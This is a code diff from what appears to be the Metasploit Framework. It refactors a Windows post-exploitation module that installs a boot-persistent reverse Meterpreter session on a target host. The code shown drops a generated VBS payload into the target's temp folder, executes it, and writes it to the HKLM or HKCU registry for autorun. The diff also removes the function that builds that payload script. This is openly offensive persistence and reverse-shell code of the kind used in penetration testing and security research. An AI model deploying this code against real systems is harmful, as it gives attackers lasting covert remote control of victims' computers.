@@ -26,11 +26,10 @@ def initialize(info={})
26
26
super ( update_info ( info ,
27
27
'Name' => 'Windows Manage Persistent Payload Installer' ,
28
28
'Description' => %q{
29
- This Module will create a boot persistent reverse Meterpreter session by
29
+ This Module will create a boot persistent reverse Meterpreter session by
30
30
installing on the target host the payload as a script that will be executed
31
31
at user logon or system startup depending on privilege and selected startup
32
32
method.
33
-
34
33
} ,
35
34
'License' => MSF_LICENSE ,
36
35
'Author' =>
@@ -54,8 +53,7 @@ def initialize(info={})
54
53
55
54
end
56
55
57
- # Exploit Method for when run command is issued
58
- #-------------------------------------------------------------------------------
56
+ # Exploit Method for when exploit command is issued
59
57
def exploit
60
58
print_status ( "Running module against #{ sysinfo [ 'Computer' ] } " )
61
59
@@ -114,20 +112,7 @@ def exploit
114
112
)
115
113
end
116
114
117
- # Creates persistent script
118
- #-------------------------------------------------------------------------------
119
- def create_script ( delay , altexe )
120
- if not altexe . nil?
121
- vbs = ::Msf ::Util ::EXE . to_win32pe_vbs ( session . framework , payload . raw , { :persist => true , :delay => delay , :template => altexe } )
122
- else
123
- vbs = ::Msf ::Util ::EXE . to_win32pe_vbs ( session . framework , payload . raw , { :persist => true , :delay => delay } )
124
- end
125
- print_status ( "Persistent agent script is #{ vbs . length } bytes long" )
126
- return vbs
127
- end
128
-
129
115
# Function for creating log folder and returning log path
130
- #-------------------------------------------------------------------------------
131
116
def log_file ( log_path = nil )
132
117
#Get hostname
133
118
host = session . sys . config . sysinfo [ "Computer" ]
@@ -151,18 +136,15 @@ def log_file(log_path = nil)
151
136
end
152
137
153
138
# Writes script to target host
154
- #-------------------------------------------------------------------------------
155
139
def write_script_to_target ( vbs , name )
156
- tempdir = session . fs . file . expand_path ( "%TEMP%" )
140
+ tempdir = expand_path ( "%TEMP%" )
157
141
if name == nil
158
142
tempvbs = tempdir + "\\ " + Rex ::Text . rand_text_alpha ( ( rand ( 8 ) +6 ) ) + ".vbs"
159
143
else
160
144
tempvbs = tempdir + "\\ " + name + ".vbs"
161
145
end
162
146
begin
163
- fd = session . fs . file . new ( tempvbs , "wb" )
164
- fd . write ( vbs )
165
- fd . close
147
+ write_file ( tempvbs , vbs )
166
148
print_good ( "Persistent Script written to #{ tempvbs } " )
167
149
@clean_up_rc << "rm #{ tempvbs } \n "
168
150
rescue
@@ -174,7 +156,6 @@ def write_script_to_target(vbs,name)
174
156
end
175
157
176
158
# Executes script on target and return the PID of the process
177
- #-------------------------------------------------------------------------------
178
159
def target_exec ( script_on_target )
179
160
execsuccess = true
180
161
print_status ( "Executing script #{ script_on_target } " )
@@ -193,7 +174,6 @@ def target_exec(script_on_target)
193
174
end
194
175
195
176
# Installs payload in to the registry HKLM or HKCU
196
- #-------------------------------------------------------------------------------
197
177
def write_to_reg ( key , script_on_target , registry_value )
198
178
# Lets start to assume we had success.
199
179
write_success = true
0 commit comments